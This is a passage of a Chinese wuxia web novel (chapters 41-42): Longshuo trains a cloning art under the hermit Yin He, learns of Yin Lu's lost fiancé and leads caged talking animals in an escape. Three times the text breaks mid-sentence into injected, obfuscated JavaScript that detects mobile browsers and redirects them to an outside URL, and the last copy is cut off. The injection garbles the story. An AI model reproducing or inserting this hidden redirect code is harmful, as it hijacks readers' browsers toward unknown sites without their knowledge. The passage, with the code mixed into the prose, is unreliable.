“两个原因。一来,我过来看看你二人昨晚共处一室,有没有互生情愫。二来,我变做她的模样之后,你定会如实告知我那群小动物们在说些什么!呵,没想到你小子竟然如此聪明,这么快便学会了我分身术法的基本内功,这便有趣了,现在我更加好奇,你练成我的分身术法最快需要多长时间!小子,我先问你,尹鹭有没有喜欢上你?” “啊?这是哪跟哪啊!”龙烁连连摆手:“我已经有喜欢的人了,况且,小鹭姐姐大我好几岁,她怎么会喜欢上我?再者说,小鹭姐姐也是有心上人的,虽然这人可能已经过世了,但是小鹭姐姐仍然对他念念不忘,所以她绝不可能喜欢上我!” “她的心上人并没有死,只是被人掳掠到了星月宫,这辈子也逃出不来了!” 龙烁一怔:“哦哦,原来是这样啊!” 他听说星月宫对待叛徒极为残忍,一旦抓住那都是立即处死,暗暗感叹怪不得小鹭姐姐说再也见不到他了。 “所以我不断寻找聪明机敏之人,并将其困在她的小舍之中,一来是为了使我的护体三身术法广传天下,二来,便是希望尹鹭能够忘记过去另寻新欢,哎,哪知道这孩子却是随我,简直一根筋!” “哦哦,对了前辈!我有个疑问,您是小鹭姐姐的爹爹,那为什么她姓尹,而您却姓松?” 松杨先生皱起眉头:“‘松杨子’当然是我的绰号,我的本名叫作尹鹤!” “哦哦哦,原来您也是姓尹的——” “废话!你小子是真蠢还是装蠢?天下哪里有人姓松的?”尹鹤一脸严肃:“不过你小子天赋异禀与众不同,我女儿没有看上你便是她没有这个福分!” 龙烁暗觉这松杨先生性子爽朗,内心的想法毫不遮掩直言不讳,倒也不失为一个磊落汉子。 虽然他强行将自己困于此处十分无礼,但他并没有像徐若谷前辈那样逼迫自己娶他女儿为妻,更没有想要强迫他女儿的意思,足见他是一位开明的父亲,于是躬身施礼:“前辈,您女儿救了我的性命,您又传授护身术法给我,我龙烁实在感激不尽!小鹭姐姐温柔贤惠,是个重情重义的好姑娘!她既对心上之人念念不忘,想必那人定是人中龙凤马中赤兔,我龙烁是万万比不上的!” “哼,一个为了功绩便可放弃心爱女人的男人,即使是人中龙凤马中赤兔又有什么好?” “为了功绩?”龙烁不解:“我听说星月宫目前有三位星首和二十八位星主,莫非尹鹭姐姐的心上人,便是这三十一人中的其中一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344383|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 他暗想,为了功绩——那绝无可能是青龙星君楚作尘,莫非,莫非是朱雀星君叶子规? 尹鹤眉头紧皱:“不该知道的你不要多问,莫得引祸上身!” “噢!” 龙烁挠挠头,不再多言。 “现在我来给你稍加提点,助你闯过万影分身这道难关!” 尹鹤指着周围那些松树问:“你瞧这些松树高低相近,状貌相似,是不是很难区分?” 龙烁瞧瞧四周,见这里至少有上百棵松树遍布山中,它们下宽上窄长得几乎一模一样,于是点头:“嗯,是啊!” “这里有十棵松树是我使用分身术法分出来的假树,你去找到这十棵树来给我!” “啊?前辈,这些树都长得一模一样,我怎么可能分得出来孰真孰假?” “分不出来也要分,因为分身术法的至臻之境便是‘慧眼识珠’——” 尹鹤从胸口的衣袋中拿出分身术图谱翻至最后一页递到龙烁面前:“方向不对,努力全费,无论是做学问或是修习术法均是马虎不得,有的时候一语之别甚至是一字之差,其结果却是大相径庭,你再仔细看看这最后一页!” 龙烁接过图谱一看,最后这一页正中的位置便是那句分身术的心法口诀“一三五七个十百千万!” 四周除了边框之外再无其他,龙烁不禁有些摸不着头脑。 他看看尹鹤,见他手捋胡须眉头微皱,于是又仔细去看这一页的内容,发现这右面的边框似乎有些镂空,细细观察,那里竟然是由几个很细很小的汉字组合而成的。 只见上面写道:“欲练分身,必先辨身!” 龙烁一怔,抬头看向尹鹤。 尹鹤微微点头:“你已经学会了分身术的基本内功,当你能够在众多分身之中一眼发现其本尊所在,你的分身术法也就练成了!” “哦哦,原来如此!”龙烁拱手:“多谢师父指点!” “嗯!去吧,去找出那十颗假的松树给我!”尹鹤捋了捋胡须:“只要你用心观察,一定能够辨出真假!” “是,师父!” 龙烁将分身术图谱恭恭敬敬地还给尹鹤,旋即闪身到最近的一棵松树旁仔细观察起来。 一炷香的时间过去之后,龙烁仍然看不出来到底哪棵松树是真哪棵松树是假,回头再去寻找松杨先生,他却已经消失不见。 望着这满山的松树,龙烁不禁有些抓狂,他在松树林里不住奔跑,直跑出二里地远,仍未找到松杨先生的踪影:“师父,您在哪里啊?我看不出来这些松树有什么不一样,能否请您再次提点?” 忽听松杨先生的声音从不同的方向传来:“看不出来就听,听不出来就摸,相信你自己的直觉——” 原来松杨先生并未离去,而是在暗处默默观察。 龙烁浮躁的心情顿时变得镇静许多,好奇师父是不是也变成了一棵松树,或者是变成了一棵松子,又说不定,他是以隐身术法潜伏在了周围? 正自疑惑间,又听松杨先生的声音依次从东西南北四个方向传来:“专心致志,心无旁骛,摈弃杂念,全力以赴!” “哦哦,是!” 龙烁赶忙闭上眼睛倾听周围的动静。 山风呼啸,吹得松树哗哗作响,他闭目沉思,考虑应对之策。 忽觉东北处有一棵松树发出的响声与众不同,不似周围树枝摆动时发出的清脆声响,这棵松树发出的声音明显有些沉闷。 龙烁立即闪过身去观察,见这棵松树虽然看起来与一般松树无异,然而摆动起来的动作却稍稍僵硬了些,颇有“东施效颦”的感觉。 他伸手掐下一段树枝,发现折断的地方并无水分渗出,原来此树乃是一棵毫无生机的“死”树,是由它旁边的这棵松树分身出来的。 “噢!原来分身并无生命!”龙烁幡然醒悟。 发现这一奥秘,龙烁兴奋不已,他从地上捡起一颗石子,往这棵松树上轻轻一划,做了个标记,旋即又闭上眼睛寻找下一棵假树。 两棵、三棵、四棵……龙烁找到一棵便在其树干上划一道记号,待到找到六棵假树之后,竟发现这些分身似乎有一个共同之处,那便是颜色与真身相比略有不同,无论是树枝、树叶还是树干,其颜色都比真正的松树略浅一些,只是如果不详加对比观察,几乎完全看不出来。 龙烁终于想通:“真身是由女娲娘娘所创,巧夺天工浑然天成,而使用分身术法分出来的假身自然是要略逊一筹!” 明白了这其中道理,龙烁很快便将剩余的四棵假树都找到了。 他一一在其身上留下记号,随手将石子往身后一掷,朗声叫道:“师父,我已经把这十棵假树全部找到了!” 41.置之死地 “嗯,为师看到了——” 声音从后方传来,龙烁慌忙转身,竟发现刚刚扔掉的那块小石子忽地摇身一变,化作了师父松杨先生。 龙烁顿时冒出一身冷汗:“啊对不起师父,我不是故意扔掉您的,有没有把您摔疼?我竟没看出这小石子是您变的!” 松杨子开心一笑:“你学的是分身术法又不是变身术法,看不出来很正常!跟我来——” “噢噢——” 二人沿悬崖向东走去,一炷香的功夫后,来到一片杨树林。 一排排高耸入云的杨树状貌相同、体态相近,几乎又是长得一模一样! 尹鹤道:“这次难度提升,这片杨树林里只有一棵杨树是真的,其他都是分身出来的假树,我限你在一炷香的时间内找出这棵真树来给我!” 望着这漫山遍野的杨树林,龙烁不禁浑身一颤,他挠挠脑袋:“松树林,杨树林,师父,莫非您‘松杨先生’的绰号便是由此得来?” “不错,你既有此领悟能力,我不妨再多讲一些道理给你,你知道我创出这护体三身术法的本意是什么吗?” “这个,我想,师父您宅心仁厚,创出护体三身术法自然是想保护弱小,使之在遇到危险的时候不受伤害,是不是?” “是,不过你只说对了一半!”尹鹤走至悬崖边上向下张望,下面云飞雾绕深不见底:“这个世界上有太多的人都想要逆天改命,却又有多少人能够做到把握当下顺势而为? 我创出护体三身术法的更深一层意义,便是要帮助弱势的一方在现有的条件下寻求机遇以退为进转守为攻,进而以少胜多以弱胜强!” “哦哦,对啊,师父,护身术既可以护体又可以对敌,运用得当反而可以占尽先机,不输于那些高深的武功法术!” “嗯,现在只给你一盏茶的时间了,快去找出那棵真的杨树给我!” “啊?”龙烁大急:“师父,这偌大的树林,一盏茶的时间我连转都转不完啊!” “半盏茶!找不到的话,我便将你扔下悬崖——” 未等龙烁回答,只听“砰”的一声响,松杨先生又已消失不见。 龙烁心急如焚,以最快的速度奔跑起来。 山路崎岖,龙烁顾不得低头看路,由南向北马不停蹄急速飞奔,几次险些被石头绊倒。 他刚跑到悬崖的另一侧时,半盏茶的时间已到。 又听“砰”的一声响,松杨先生赫然出现在龙烁面前,挡住他的去路。 龙烁急忙“刹车”,却仍是撞到了松杨先生的肩膀,他连忙退后几步,躬身施礼:“对不起师父,我不是故意撞您的!” “告诉我,哪棵杨树是真的?” “师父,您也看到了,这片杨树林我只穿行了一半,而且根本没有时间停下来观察,只是眼光大概扫了一下,所以,如果我说得不对还请您见谅!”龙烁望着周围这一片杨树林:“目前我看到的这些杨树里面,似乎,没有一棵树是真的啊——” 尹鹤嘴角微微上扬,却突然怒喝:“我让你告诉我哪棵树是真的,没让你告诉我哪些树不是真的!” 他撩起长袍飞出一脚,顿时将龙烁踢下了悬崖。 龙烁不敢相信眼前一幕,怔怔地看着师父离自己渐渐远去,霎时间消失在崖壁后面。 这是龙烁第二次掉落悬崖! 依如第一次一样害怕! 他手脚不听使唤地胡乱摆动,尖声大叫:“救命——救命——救命啊!” 山崖之下似乎有人声回应,他仔细一听,原来是自己大喊救命的阵阵回响。 龙烁想不明白松杨先生为什么会对自己突施暗算,忽然间,他想起前两天那只可怜的小八哥只因偷吃一只蚕宝宝便被开膛破肚,暗暗疑惑:“难道只因为我轻功不好没有在半盏茶的时间内找到那棵真正的杨树,师父便要对我痛下杀手?” 快速坠落中,龙烁感到自己这次恐怕真的凶多吉少,云雾缭绕间,他似乎看到红叶正在冲自己招手。 求生欲渐起,龙烁默念咒语催动锥风术法,在自己身下幻化出一股股劲风反向而下,以减缓坠落的速度。 然而他内力有限,每次施法,下落的速度刚减下一点便又增上去。 几番反复,龙烁的内力也几乎耗尽。 情急之下,他无计可施,只得尝试催动分身术法。 他放声狂喊:“一三五七个十百千万,震离兑坎巽坤乾艮,破——” 一瞬间,在龙烁的周围竟真的出现八个与自己一模一样的分身。 这些分身同他一样,不敢相信自己的眼睛,惊讶地相互凝视! 平复下心情后,龙烁大喊:“各位救我!” “是!” 众分身齐声回应,纷纷伸手将龙烁用力一推,将他移至坤位,如此便离崖壁近了一些。 龙烁又以坤位为中心默念口诀,在周围又分出八个假身。 众分身再次用力一推,龙烁又上升数丈。 几次反复后,龙烁已能够摸到崖壁。 他看准时机一把抓住崖壁上的藤蔓,身体忽一沉,四肢陡然贴到崖壁之上。 众分身见主人已经安全,纷纷拍手叫好。他们继续向下坠落,片刻间便消失在云雾之中。 看着众分身纷纷坠崖,龙烁心下不忍,但又想到他们虽有情感但无生命,体会不到任何疼痛苦楚,这才安心许多。 气息调匀之后,龙烁顺着藤蔓慢慢向上攀爬。 回到地面后,他手脚已经十分酸麻,身体多处被划伤,再也起不来。 “呵!” 尹鹤忽然闯入龙烁的视线。他捋了捋胡须:“尹鹭说得对,身陷险境果然能够激发你的潜力,这就叫作置之死地而后生,不过你怎么爬这么久才上来?害我等了半天!” “师父,你还在这里说风凉话,你差点害死我了啊你知道吗?” “你别怨我,要怪就去怪尹鹭,这可是她出的主意!” 尹鹤得意一笑,一把抓起龙烁,携着他轻轻一跃,跳上树顶,蜻蜓点水般向西南方向飞去。 半炷香的时间过后,尹鹤携着龙烁回到了篱笆小院中。 松杨先生随手一抛,龙烁站立不稳摔倒在地,身子如散了架般疼痛,一时间竟站起不身。 院中的飞禽走兽被空降大物吓得叽叽喳喳地乱叫,在十米见方的小院中上下翻飞。 闻声,尹鹭从屋中跑出,见龙烁在地上不住呻吟,赶忙上前去将他扶起:“龙弟,你这是怎么了?” 龙烁痛得说不出话,尹鹭又问:“爹,他这是怎么了?” “他没事!” 尹鹤嘴角微勾,背过身去:“给他喝点固本扶元汤,让他好好休息一下,明日我再来找他!” 尹鹤身形一闪,忽地消失不见。 尹鹭搀扶着龙烁回到屋中,躺到草榻上,又去院中抓来一些草药煎熬。 龙烁轻声问:“师父呢?” 尹鹭疑惑他怎么忽然改口叫师父,但也未多问,只淡淡道:“他去扫墓了!” “扫墓?给谁扫墓啊?” “我娘!” “现在既非清明又非中元,师父为何去扫墓呢?” “他每天都会去!” “哦哦,原来师父也是如此重情重义之人!” 龙烁哀叹一声,又想起南宫红叶,不知她此时是否安然无恙。 尹鹭轻轻挥着团扇煎药,十分好奇:“你左口一句师父,右口一句师父,我爹爹强行把你困在这里,你怎么还肯拜他为师?” “松杨先生深明大义,他将我困在这里是想我学习他的护身法术!” “话虽如此,可是他也不管人家愿不愿意就强行将你们困在此地,总归是他的不对!” 她言辞之中颇带怨气。 龙烁明白她口中的这个“人家”还包括她自己,她这是对松杨先生随意将陌生男子困于她的住处心怀不满,于是劝说:“小鹭姐姐,师父也是为你好!” 尹鹭手中的团扇忽然间停在半空中,脸现怒色:“你都知道了?” 龙烁连忙摆手:“我不知道,我不知道,我只是看小鹭姐姐直到现在仍做姑娘打扮,知道你心中大概是有所牵绊,所以猜测师父经常将别人困在此处,是想找人陪你说话解闷,排解你心中烦忧!” 尹鹭这才平复心情,她从胸前取出三颗红豆,呆呆地看着它们。 龙烁见她手中的红豆每一颗上都划有两道细痕,不明白其中含义,但又想起关于红豆的诗句,悠悠吟道:“红豆生南国,春来发几枝,愿君多采撷,此物最相思!” 一颗豆大的泪珠忽地掉在一颗红豆上面。 龙烁小心翼翼地问:“小鹭姐姐,莫非这是你心上人留给你的定情信物?” 尹鹭微微点头,泪水止不住地往下流。 龙烁见她如此伤心,愤然道:“是那男子抛弃了你吗?这种男人简直不配为人!” “不,他,他是被逼无奈!” “为何?” 尹鹭并不搭话。 “昨晚你说再也见不到他了?那是怎么回事?” 龙烁心知那人是被抓到了星月宫,但又不想透露是从师父那里知道的,于是故意问:“难道他已经死了吗?” “没有,他没有死!” “哦哦,那就再好不过了,他害我小鹭姐姐如此伤心难过,我现在就去找他,带他过来给小鹭姐姐道歉!” “你找不到他的!” “为何?他现在在哪?” “他——他在星月宫!” “星月宫?”龙烁故作惊讶:“我知道星月宫,我差点就被朱雀星君的手下抓去了!那他是不是也被朱雀星君的手下给抓去了?” “不是,抓他的人是个蒙面女子!” “蒙面女子?” 龙烁暗想自己提到朱雀星君叶子规时小鹭姐姐内心并无波澜,看来她的心上人并不是叶子规,又问:“据我所知,星月宫并无女子啊?” “嗯!”尹鹭点头:“可我是亲眼所见,当时抓他的人确实是个中年女子! 二十年前,我和他在南桥柳树边相会时被那蒙面女子撞见,那女子提醒我说俊俏男子惯会骗人,让我警惕些,我二人全不理会,哪知她走过我们身边时却忽施暗算,一掌将我打,我醒来之后他们便不见了。 我到处打听我未婚夫的下落,终于打听到原来他是被抓到了星月宫!” “啊,既然已经打听到了他的下落,小鹭姐姐你为何还伤心呢?” “你有所不知,星月宫向来有一个奇怪的规矩,入宫的男子终身不能娶妻生子,不能叛离星月宫,否则一旦被抓到那就是杀无赦!” “啊?怎么还有这个规矩,终身不能娶妻生子——”龙烁暗自庆幸:“幸好我被红叶救了,否则被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348500|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓进去的话,我岂不是要断子绝孙啦!” “嗯!”尹鹭眉头紧锁:“好在后来我接到他的来信,信中他说让我一定等他回来,我当时开心极了,日夜盼他出现,过了两年,我听说星月宫发生变故,白虎星君白翼叛逃星月宫,洪山雪大怒,要杀光西方七部所有的人以示警诫,我当时吓坏了,生怕他受到牵连丢了性命,但是洪山雪还是放过了他们,我这才放下心来! 可是后来,我却接到他的来信,信中他说要永远留在星月宫,让我另寻良人不用再等他,你知道我当时是什么感觉吗?” “小鹭姐姐你当时一定是特别伤心难过!” 尹鹭点头:“我突然觉得周围一下子变得很冷,如同进入了寒冬腊月一般的寒冷,可是那是夏天! 我曾经一度悲痛欲绝,还萌生了轻生之念,爹爹怕我想不开,抓来这些动物与我做伴,陪我度过了那段最艰难的时光!” “哦哦,原来这些小动物并不是用来练习变身法术的,而是师父特意抓来陪你的啊!” “嗯!”尹鹭说着又掉下泪来。 看到尹鹭伤心难过的样子,龙烁不知该说些什么。 屋内安静了片刻,忽然间,他灵机一动,开心道:“小鹭姐姐,我有一个好消息要告诉你!” “什么好消息?” “十月初一,江湖上众多英雄将要合力围剿星月宫!” “围剿星月宫?”尹鹭惊讶万分:“这算什么好消息!他们为什么要围剿星月宫?” “呃——”龙烁不想透露关于《天书》的事情,叹气道:“江湖上的是是非非哪是一句话两句话能说得明白的,大概是因为星月宫的人在蜀地肆意抓人,激起了大家的愤恨吧!” “哼,是,星月宫胡乱抓人天怒人怨,我早就说这样做他们迟早要遭报应的!” “嗯,关键是你到时候就可以跟着他们一起去,然后趁机寻找你的心上人啊——” 尹鹭的眼光忽然变得明亮,她兴奋道:“啊,对啊,我也可以去!” “当然可以!” “那,那星月宫究竟在什么地方呢?” “据说是在洛阳城白云山的青晷峰上,虽然我没有去过,不过到时候那里的人一定很多,你跟着大家去一定可以找到的!” “那太好了,我或许就能够再见到他了!” “一定可以!” 尹鹭终于不再难过,龙烁也跟着开心起来,又见她将红豆紧紧地捂在胸口,问道:“小鹭姐姐,为什么你的红豆上面每个都划有两道细痕?” 尹鹭晕生双颊:“啊,没什么,只不过是记号而已!” 她连忙将红豆收好,又将刚刚煎好的药倒进碗中递到龙烁面前:“这个是扶本固元汤,补气健体,喝完睡上一天一夜,你就又会元气满满了,快喝了吧!” “谢谢姐姐!” 龙烁接过药碗却迟迟不喝,左摇右晃地寻找什么。 尹鹭笑道:“没有虫子腿,放心!” 龙烁不好意思地笑笑,捏起鼻子大口喝下,不一会儿便感到身困体乏,他侧身而卧打算稍作休息,不一会儿竟沉沉睡去。 半梦半醒间,龙烁感到身体忽然变得异常燥热,不自觉地脱下上衣。 又过一会儿,胸前一股凉意袭来,似是有人在以玉石助自己凉血。 那玉石一会儿在自己的左肋,一会儿又在自己的右肩,冰冰凉凉的甚是舒爽。 龙烁翻身打算再睡上一觉,忽觉有什么东西从头发里面钻出来了。 那东西跑到他额头上低声叫道:“呱呱,鸡大婶,你说他是不是把咱们都给忘啦?” 右手边一个咯咯的声音嘘声道:“不会哒!你瞧他多累,让他再睡一会儿吧,咱们别去打扰他——” 龙烁心知定是那群小动物们在搞鬼,可疲乏困倦之意尚未消除,他伸个懒腰,闭着眼睛继续打盹。 胸前那块“玉佩”突然嗫嚅:“再睡就到晚上啦,趁那女子不在,咱们现在赶快把他叫醒帮他练习法术吧!” 原来这块玉佩是那只巨大的肥蜗牛。 一个毛茸茸的物什在他左手边轻轻掠过:“哎,这两年,来到小院里的人不是疯了就是傻了,我看啊,这个人咱们也指望不上他!” 是那只兔子在说话。 “喳喳,胡说!” 半空中不知是八哥还是鹦鹉尖叫:“他可跟别人不一样,他能听懂咱们讲话!” “吱吱!” 又有一只动物要说话。 龙烁分不清那是老鼠还是蝙蝠的声音,只听它在梁上嚷道:“能听懂又怎样?他还不是照样不理咱们!我听说他们人类有句话叫作人心隔肚皮,知人知面不知心呐,你们小心别被他骗啦!” “嗞嗞!你说谁是骗子,你这只这死吊子,不但长得难看,说话也难听得紧,看到你们我就恶心,你再出言不逊,小心老子吃了你——” 这是刺猬的叫声。 “吱吱,来呀,你不是已经觊觎我很久啦?我也早就看你不顺眼啦,有本事你就来吃我啊,来啊?” “嗞嗞,你以为我不敢?” 随即传来两只动物的厮打吵闹之声。 那刺猬在跟蝙蝠打架。 “咯咯咯!” 老母鸡突然发怒,龙烁以为它是去劝架的,却听它扑扇着翅膀大喝:“你们要打就出去打,不要在屋里打,小心吵醒他!” 42.作鸟兽散 “吱吱!” 是老鼠的声音无疑。 这老鼠尖叫一声:“我来帮忙!” 它看准时机忽地冲上,一口咬下那刺猬身上几根尖刺。 刺猬痛得嗞哇大叫:“好你这只死耗子,背后偷袭,看我不吃了你?” 一时间,屋里屋外乱作一团。 “别打了别打了!” 那只肥蜗牛奋力朝刺猬爬过去劝架,奈何速度慢得要死,只爬到一半,那刺猬已然变换方位,只得转向距离近些的老鼠奋力蠕动。 它爬行半天始终追它们不上,一直忙在劝架的路上。 那青蛙呱呱叫道:“打吧打吧,嘿嘿,多死几个,剩下的咱们逃跑就更容易一些——” 龙烁暗暗称奇:“有打架的,有劝架的,怎么还有劝着打架的?” 为防止小鹭姐姐的小舍被毁,他忙坐起身来,却见此时漫天遍地尽是各种被咬掉的动物毛发。 那刺猬高声叫嚷:“青蛙老兄说得不错,咱们先把这些老鼠和那群长得像老鼠的玩意儿统统杀掉,等公子练成神奇法术,咱们再随他一起逃跑——” 鹦鹉尖叫:“好!” 八哥嚷道:“我看行!” 霎时间,上方鸟群跟蝙蝠群厮杀在一起,下面刺猬和老鼠撕咬在一块儿。 半空中时不时地坠下不明物体。 龙烁细细瞧去,一会儿是负伤的八哥,一会儿是战败的蝙蝠,一会儿又是骂骂咧咧的鹦鹉,连忙劝说:“别打了,别打了!” 杀疯了的小动物们全不理会,自顾自地大杀四方。 “哎呀妈呀,快跑呀!” 那只胆小的蜈蚣像躲避炸弹一样四处奔逃,最终成功逃到墙根底下。 那老母鸡闪身到龙烁面前:“这里全乱套啦,公子您还是快到屋外躲一躲去吧!” 龙烁愤然道:“大家别打啦,你们难道忘了吗?之前那只小八哥只是偷吃一只蚕蛹就被开膛破肚啦,你们这样斗得死去活来,松杨先生知道的话大家谁也不会有好果子吃的——” 没有动物理他。 龙烁尖叫一声:“我有个好消息告诉你们,我已经学会分身术啦,我可以带你们全部逃出去!” 屋内顿时安静下来。 小动物们齐刷刷地看向龙烁。 “你说什么?”兔子忙问:“真的假的?” 鹦鹉怀疑:“骗人的吧?” 蝙蝠推测:“他只是想劝咱们停手而已!” 蜗牛坚定:“反正我是不信!” 老鼠点头:“我也不信!” 小动物们摩拳擦掌又要开打。 龙烁连忙做个手势,口中高喊:“乾坤两位,破——” 左右两旁各出现一个一模一样的龙烁,三个龙烁整整齐齐地坐在草榻之上。 小动物们瞬间又炸开了锅,纷纷抢上:“你真的练成分身术啦!” 兔子惊讶:“哇塞,厉害啊!” 八哥煽动翅膀:“成啦,成啦,太棒啦!” 青蛙哈哈大笑:“谁说不信来着,我反正没说!” 鹦鹉摇头:“我也没说!” 蜗牛害羞:“呃,是我说的,我错啦,嘻嘻!” 小动物们片刻间化敌为友,纷纷抱在一起欢呼雀跃。 老母鸡道:“公子,你有办法带我们逃出去吗?” 龙烁出主意:“外面松杨先生的分身不过十几个,我分出二十个分身来将他们缠住,你们赶快逃走怎么样?” 老鼠抖抖身子:“二十个不行啊,就算只有一个分身腾出空来抓捕我们,我们都是决计跑不掉的!” 龙烁沉思片刻,朝那只老鼠催动咒语,尝试将它分出一个假身,却是无法办到。 他挠挠头:“我的术法还没有精纯到能够为别人分身出来,这样吧,我就尽可能多地分身出来,将所有的松杨先生围个水泄不通,当他们视线全部被遮挡,一点也看不到你们的时候,你们就趁机逃走行吗?” 刺猬嗫嚅道:“还是不行啊,那些分身似乎与真身心意相通,上次有几只麻雀飞出鸟笼,没多久真身便赶到,不但把它们全都抓了回来,还统统给杀掉啦!” “真身多久赶到的?”龙烁问。 鹦鹉回应:“呃,也就一盏茶的功夫!” “应该够了!”龙烁坚定道:“咱们之中,只有蜗牛老兄跑得比较慢,你躲在我的怀中,我带你出去就是了!至于你们其他动物,到时候听我号令,我先给他们来一个措手不及,然后你们再一起逃跑,会飞的尽量贴着地面飞行,以防被松杨先生看到,不会飞的找草丛掩护,知道吗?” “行喽!”“没问题!”“就听你哒!” 龙烁看看太阳的方位,此刻是未时,阳光刺眼,他转身说道:“到得申牌时分,如果小鹭姐姐仍未回来,咱们便按计划行动,如果她回来了,咱们就明天再说!” 龙烁这样说,其实是希望等小鹭姐姐回来再见她一面,向她表达自己的感激之情,也算是道别。 “为啥不现在就走?”老鼠反问。 刺猬解释:“傍晚时分天色昏暗视线不清,自然有助于咱们逃跑啊!” “噢!那好吧——” 龙烁道:“那就这么定啦,到时候你们听我指挥!” “遵命!”“是!”“得令!” 小动物们欣然奔出屋外,回到自己的小舍之中。 待到夕阳的最后一缕霞光被山峰掩藏,尹鹭的身影都未出现。 小动物们纷纷探听屋内的动静,只等龙烁发号施令。 龙烁悠悠叹一口气:“估计等不到小鹭姐姐回来了,看来老天要我今日就走!” 龙烁来到院中环视一周,四下里一片祥和,只听到林中树叶哗哗作响。 他暗想那些隐形分身一定就在小院周围,须得尽快引他们暴露方位。 他一把抓起那只肥蜗牛,将它塞到自己怀中大声喊道:“大家都准备好了吗?听我指挥咱们准备逃跑——” “呱呱!” 青蛙被吓得一蹦三尺高,惊恐地叫:“你怎么把咱们的计划给说出来啦!” 龙烁并不理会,兀自高声叫喊:“现在我来让你们开开眼界,瞧瞧我的万影分身,看好啊,一三五七个十百千万,破——” 龙烁本以为四面八方会出现许多一模一样的分身,然而他定睛一看,竟然只有震离兑坎巽坤乾艮这八个方位出现了八名分身,加上自己也不过九人。 见状,松杨先生的隐形分身一下子全都现出身,纷纷嘲笑:“你小子很有勇气,就凭这点道行便想如此光明正大地逃跑,岂不是太也小瞧我们?哈哈!” 他们果然都围绕在小院周围,龙烁细细一数,原来只有十个,更加坚定信心,他嘴角微勾,高声喊道:“给我冲——” 一名松杨先生的分身十分不解:“硬闯?你小子当我们是空气吗?大伙儿上——” 松杨先生的分身拔出宝剑一拥而上,不一会儿功夫便将龙烁的分身全部砍杀殆尽。 龙烁站在小院中央不动声色。 “哈哈,小子,没想到吧,我们可不是吃素的!” 龙烁轻蔑一笑:“我确实没有想到——你们竟然,只有十个!” 他大喝一声:“一三五七个十百千万!” 一瞬间,周围出现上百名分身,他们前胸贴后背地站在一起,竟将小院围了个水泄不通。 不等对方反应,龙烁下令:“十人一组围攻一人,一人控制宝剑,九人包围他们的周身!” “是!” 有了明确号令,众分身不再像之前那般杂乱无章。他们迅速分成十个小组,分别锁定一人围攻上去。 来人气势恢宏秩序井然,直如训练有素的沙场将士。 松杨先生的分身不禁打起退堂鼓,其中几人急中生智隐没身形,却仍被紧紧围困。 双拳难敌四手,何况是十个人十双手。 只一会儿功夫,松杨先生的分身便被打得呻吟不断。 趁此机会,龙烁朝小动物们低声喝令:“就是现在,快——” 顷刻间,所有小动物一哄而散,它们争先穿过栅栏,眨眼间便消失在黑暗之中。 龙烁趁乱跳出栅栏,朝树林里面拼命奔跑,直至跑的累了,才在一棵大树后面隐没身形。 他刚一站定,便远远地听到后面一名松杨先生分身大嚷:“主人快追,他往那边跑啦——” 龙烁暗叫:“不好,师父追过来了!” 他拔腿便跑,一口气儿又跑半个时辰,直累得气喘吁吁再也迈不开腿,这才停下来稍作休息。 他抬眼望去,周围全是荒山野岭,脚下竟是过膝的野草,不禁背后一凉,知道自己已经迷了路。 正当他犹豫不决不知该往哪个方向走时,却听一个闷闷的声音从暗处传来:“就到这吧!” 龙烁大惊,以为是松杨先生的分身追过来了,忽地起身寻找声音的来源,然而四下里看不到任何异常,不禁吓出一身冷汗。 却听那声音继续道:“恩人,你先把我放下来吧!” 龙烁恍然大悟,原来是胸口衣带中的那只肥蜗牛在说话。 他将蜗牛小心翼翼地拿出来放在地上:“原来是你在说话,吓死我啦!” “是呀恩人,我说你没必要带我跑这么远啊,嘻嘻!” “啊,没关系,你也没多重!” “我是说,他们追的是你不是我,你不如先放下我再跑,嘻嘻!” 龙烁顿感无语:“你这只肥蜗牛,好不讲情义啊——” “没办法,生活所迫啊!” “你就不怕我一生气把你的壳踩扁?” “嘻嘻,我还不知道你吗,你是绝对不会那么做的啦!” “呵,你是说我不敢?”龙烁抬脚便向这只蜗牛的身上踩去。 “啊不是不是,我是说你心地善良宅心仁厚,是绝对不忍心让我受到伤害哒,说实话,我平生第一次感受到无比的温暖,就是在你的怀里,嘻嘻!” 这肥蜗牛嘻嘻一笑,两只触角也跟着微微颤动。 龙烁一怔,收回了脚:“你的嘴倒是甜,你不是冷血动物吗?怎么还需要温暖?” “哎呀,我不需要温暖并不代表我不能感受到温暖嘛,这就好比我虽然爬得慢,但去过的地方可不比你少,是一个道理啊!” 龙烁眉头微皱:“什么乱七八糟的!” “嘻嘻,你是不是迷路啦?”肥蜗牛得意一笑:“实话告诉你吧,这里我来过好几次了,熟悉得很,前面不远处有一个山寨,那里荒山野岭缺水少粮,只住着一户人家,而且位置十分隐秘!后面有一处山崖,绕过这处山崖有一个村落,那里土地肥沃物产丰富,什么样的瓜果蔬菜都有,随便去到哪一家都可以饱餐一顿,不过嘛,就是有点远,照你这个速度,去到那里怎么也需要一个时辰!” 它说着微微缩回两只触角:“附近能找到人家的就只有这两个地方了,我已经都告诉你啦,往哪边走你自己决定吧,我走啦!” “你去哪里?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 